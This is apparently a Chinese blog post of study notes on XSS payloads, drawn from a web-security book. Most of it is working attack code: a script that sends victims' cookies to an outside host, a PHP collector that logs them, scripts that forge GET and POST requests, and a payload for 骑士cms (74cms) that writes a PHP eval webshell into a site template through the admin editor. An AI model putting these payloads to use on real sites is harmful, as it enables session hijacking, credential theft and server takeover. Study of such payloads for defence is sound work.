标签:
xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等。
1.盗取cookie,发起cookie劫持
使用xss漏洞插入cookie.js
cookie.js代码:
1 |
var img = document.createElement("img"); |
2 |
3 |
img.src = "http://lanu.sinaapp.com/cookie.php?cookie="+escape(document.cookie); |
4 |
5 |
document.body.appendChild(img); |
cookie.php代码
1 |
<?php |
2 |
3 |
$file = fopen("cookie.txt","a"); |
4 |
5 |
fwrite($file,$_GET[‘cookie‘]); |
6 |
7 |
fclose($file); |
8 |
9 |
?> |
2.构造GET和POST请求
get.js代码:
1 |
var img = document.createElement("img"); |
2 |
3 |
img.src = "一个可以使用的get请求链接"; |
4 |
5 |
document.body.appendChild(img); |
post.js代码:
代码1:(DOM节点方式)
01 |
var f = document.createElement("form"); |
02 |
03 |
f.action =""; |
04 |
05 |
f.method = "post"; |
06 |
07 |
document.body.appendChild(f); |
08 |
09 |
var i1 = document.createElement("input"); |
10 |
11 |
i1.name = "xxx"; |
12 |
13 |
i1.value = "xxxx"; |
14 |
15 |
f.appendChild(i1); |
16 |
17 |
var i2 = document.createElement("input"); |
18 |
19 |
i2.name = "aaa"; |
20 |
21 |
i2.value = "aaa"; |
22 |
23 |
f.appendChild(i2); |
24 |
25 |
f.submit(); |
代码2:
1 |
var dd = document.createElement("div"); |
2 |
3 |
document.body.appendChild(dd); |
4 |
5 |
dd.innerHTML =‘<form action="" method="post" id="xssform" name="mbform">‘+‘<input type="hidden" value="xxxx" name="xxx" />‘+‘<input type="text" value="aaaa" name="aaa" />‘+‘</form>‘; |
6 |
7 |
document.getElementById("xssform").submit(); |
代码3:(使用XMLHttpRequest)
01 |
var url = "http://lanu.sinaapp.com"; |
02 |
03 |
var postStr = "aaa=aaaa&xxx=xxxx"; |
04 |
05 |
var ajax = null; |
06 |
07 |
if(window.XMLHttpRequest) |
08 |
09 |
{ |
10 |
11 |
ajax = new XMLHttpRequest(); |
12 |
13 |
} |
14 |
15 |
else if(window.ActiveXObject) |
16 |
17 |
{ |
18 |
19 |
ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本 |
20 |
21 |
} |
22 |
23 |
else |
24 |
25 |
{ |
26 |
27 |
return; |
28 |
29 |
} |
30 |
31 |
ajax.open("POST", url , true); |
32 |
33 |
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); |
34 |
35 |
ajax.send(postStr); |
36 |
37 |
//ajax.open("GET", url, true); |
38 |
39 |
//ajax.send(null); |
40 |
41 |
ajax.onreadystatechange = function() |
42 |
43 |
{ |
44 |
45 |
if(ajax.readyState == 4 && ajax.status == 200) |
46 |
47 |
{ |
48 |
49 |
//alert("Done!"); |
50 |
51 |
} |
52 |
53 |
} |
-------------------
3.xss钓鱼
4.浏览器识别和用户安装软件识别
http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/
5.css history hack
http://ha.ckers.org/weird/CSS-history-hack.html
读《白帽子讲web安全》笔记
---------------------
xxs payload getshell 实例:
骑士cms getshell
01 |
//构造好的能写入一句话的连接 |
02 |
03 |
var Shelldata=‘tpl_content=%3C%3Fphp%20eval%28%24_POST%5Bxdxd%5D%29%3F%3E&tpl_dir=default&tpl_name=footer.php&del_Submit=%B1%A3%B4%E6‘; |
04 |
05 |
try |
06 |
07 |
{ |
08 |
09 |
//调用XMLHttpRequest |
10 |
var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject(‘Microsoft.XMLHTTP‘)); |
11 |
12 |
xml.open("POST",‘admin_templates.php?act=do_edit‘,false); |
13 |
xml.setRequestHeader(‘Content-Type‘, ‘application/x-www-form-urlencoded‘); |
14 |
xml.onreadystatechange = function() |
15 |
{ |
16 |
if(xml.readyState == 4) |
17 |
18 |
{ |
19 |
20 |
} |
21 |
} |
22 |
xml.send(Shelldata); |
23 |
} |
24 |
catch(e) |
25 |
26 |
{ |
27 |
28 |
} |
标签:
原文地址:http://www.cnblogs.com/milantgh/p/4241267.html